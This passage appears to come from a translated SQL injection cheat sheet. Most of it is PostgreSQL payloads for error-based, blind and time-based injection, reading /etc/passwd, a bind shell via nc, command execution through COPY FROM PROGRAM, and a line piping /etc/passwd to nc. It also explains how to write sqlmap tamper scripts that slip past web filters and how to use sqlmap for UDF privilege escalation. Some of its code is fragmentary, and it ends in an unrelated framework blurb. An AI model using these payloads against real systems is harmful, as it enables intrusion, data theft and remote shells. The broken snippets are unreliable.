,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC) ' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1 ' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1 ' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1 ' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1 ### PostgreSQL XML support select query_to_xml('select * from pg_user',true,true,''); -- return data in xml format abovequery_to_xmlReturns all results of the specified query as one result. Combine this with the &quot;PostgreSQL error injection&quot; technique to steal data without worrying about limiting the query to one result. select database_to_xml(true,true,''); -- Dump the current database to XML select database_to_xmlschema(true,true,''); -- dump the current database to an XML schema Note that for the above query, the output needs to be assembled in memory. For larger databases, this can lead to slowdowns or denial of service attacks. ### blind note ' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK ' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO ### time blind AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ### stack injection use semicolon;to add another query http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));-- ### file read select pg_ls_dir('./'); select pg_read_file('PG_VERSION', 0, 200); Note: Earlier versions of PostgreSQL did not accept absolute paths in pg_read_file or pg_ls_dir. The newer version will allow reading any file/file path for superusers or users in the default_role_read_server_files group. CREATE TABLE temp(t TEXT); COPY temp FROM '/etc/passwd'; SELECT * FROM temp limit 1 offset 0; SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID SELECT lo_get(16420); -- use the OID returned from above SELECT * from pg_largeobject; -- or just get all large objects and their data #### write file CREATE TABLE pentestlab (t TEXT); INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash'); SELECT * FROM pentestlab; COPY pentestlab(t) TO '/tmp/pentestlab'; SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data SELECT lo_put(43210, 20, 'some other data'); -- append data on the large object at offset 20 SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport ### command execution CVE-2019–9193 If you have direct access to the database, you can leverage Metasploit directly, otherwise you need to manually execute the following SQL query. DROP TABLE IF EXISTS cmd_exec; -- [optional] If the table to be used already exists, drop it CREATE TABLE cmd_exec(cmd_output text); -- create a table to hold the command output COPY cmd_exec FROM PROGRAM 'id'; -- run system commands through the COPY FROM PROGRAM function SELECT * FROM cmd_exec; -- [optional] view results DROP TABLE IF EXISTS cmd_exec; -- [optional] drop table Utilize libc.so.6 CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; SELECT system('cat /etc/passwd | nc '); ### Bypass Quotes use the chr function SELECT CHR(65)||CHR(66)||CHR(67);  Use the$ sign ( &gt;= version 8 PostgreSQL)

SELECT $$This is a string$$
SELECT $TAG$This is another string$TAG$

# injection tool

## Sqlmap

SQLmap is an automated SQL injection tool, its main function is to scan, discover and exploit the SQL injection vulnerabilities of a given URL, currently supported databases are MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Acess, IBM DB2, SQLLite, Firebird, Sybase and SAP MaxDB… SQLmap uses several unique SQL injection techniques, namely blind reasoning SQL injection, UNION query SQL injection, pair query and blind injection. Its extensive capabilities and options include database fingerprinting, enumeration, database extraction, access to target filesystems, and execution of arbitrary commands while gaining full operational privileges.

When Sqlmap starts to detect a url, it will:

1. Determine the parameters selected when injecting
2. Determine which database to use
3. Determine which sql injection technique to use for injection
4. According to the user's selection needs, obtain the corresponding required data

For detailed sqlmap usage parameters (options) and details, you can refer tosql manual. Here you can get help on using sqlmap for all supported features, parameters, command-line option switches, and descriptions.

### Written by Tamper

Using the tamper script provided by SQLMap can avoid the sensitive character filtering of the application to a certain extent, bypass the blocking of WAF rules, and then conduct infiltration attacks. Instructions:

sqlmap.py XXXXX -tamper &quot;module name&quot;

About the tamper and comments that come with sqlmap, you can see it in the manual above. Here we discuss how to write Tamper.

Tamper script is based on python language. To illustrate the structure of a tamper, let's start with the simplest example:

# sqlmap/tamper/escapequotes.py

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():

pass

return payload.replace("'", "\\'").replace('"', '\\"')

You can see that the basic structure of the tamper script ispriorityvariable definitions anddependencies、 tamperfunction definition.

priority defines the priority of the script, used when there are multiple tamper scripts.
The dependencies function declares the scope to which the script is applicable or not, and can be empty.
Tamper is the main function, the accepted parameters are payload and **kwargs, and the return value is the replaced payload.

Detailed introduction:

priority

In the built-in tamper script, there are the following priorities that can be customized-100~100

__priority__ = PRIORITY.LOWEST

__priority__ = PRIORITY.LOWER

__priority__ = PRIORITY.LOW

__priority__ = PRIORITY.NORMAL

__priority__ = PRIORITY.HIGH

__priority__ = PRIORITY.HIGHER

__priority__ = PRIORITY.HIGHEST

dependencies function

dependenciesFunction, which declares the environment supported/unsupported by tamper script, can be empty, such as:

import os

from lib.core.common import singleTimeWarnMessage

def dependencies():

singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS))

#singleTimeWarnMessage() is used to print a warning message to the console

tamper function

tamper is the body of the entire script. Mainly used to modify the original payload. For example, if there are so few lines of code on the server

$id = trim($POST($id),'union');$sql="SELECT * FROM users WHERE id='\$id'";

-8363' union select null -- -

Here, because the union is filtered out, the payload will not be executed normally, so you can write such a tamper

def tamper(payload, **kwargs):
return payload.replace('union','uniounionn')

Save it as replaceunion.py, save it to sqlmap/tamper/, and execute it with the parameter –tamper=replaceunion to bypass the filtering rule.

kwargs

Of the 47 official tamper scripts, the kwargs parameter is only used twice, both times just changing the http-header

# sqlmap/tamper/vanrish.py

return payload

Tamper's writing is much more than that, and this block only discusses its most basic structure. As an extension of sqlmap, almost all built-in functions and variables of sqlmap can be used when writing tamper, which can also be found in the manual.

### sqlmap udf privilege escalation

The previous content of this article has mentioned the content of udf privilege escalation, and its implementation in sqlmap is described here.

The 32-bit lib_mysqludf_sys.dll is stored in the sqlmap\data\udf\mysql\windows\32 directory, but the shell and some binary files that come with sqlmap are encoded by XOR in order to prevent accidental killing and cannot be used directly. You can use the decoding tool cloak.py that comes with sqlmap to enter the sqlmap\extra\cloak directory and execute the command: python2 cloak.py -d -i D:\sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys. dll

After decoding, a dll file will be generated in the sqlmap\data\udf\mysql\windows\32 folder.

UDF privilege escalation command using sqlmap:

sqlmap.py -d “mysql://root:[email protected]:3306/test” -–os-shell

The built-in dll of sqlmap supports the following functions:

access injection collection (https://bbs.zkaq.cn/t/4481.html)

## Introduction to the basic knowledge of ABP VNext framework (1)–framework basic class inheritance relationship

When I was earlier, I began to study and introduce the ABP framework. Compared with some other frameworks, the ABP framework integrated many new technologies and related application scenarios of .net core. Although the earliest ABP framework was based on the .net framework, later All turned to embrace .net core, while ABP VNext, another line, […]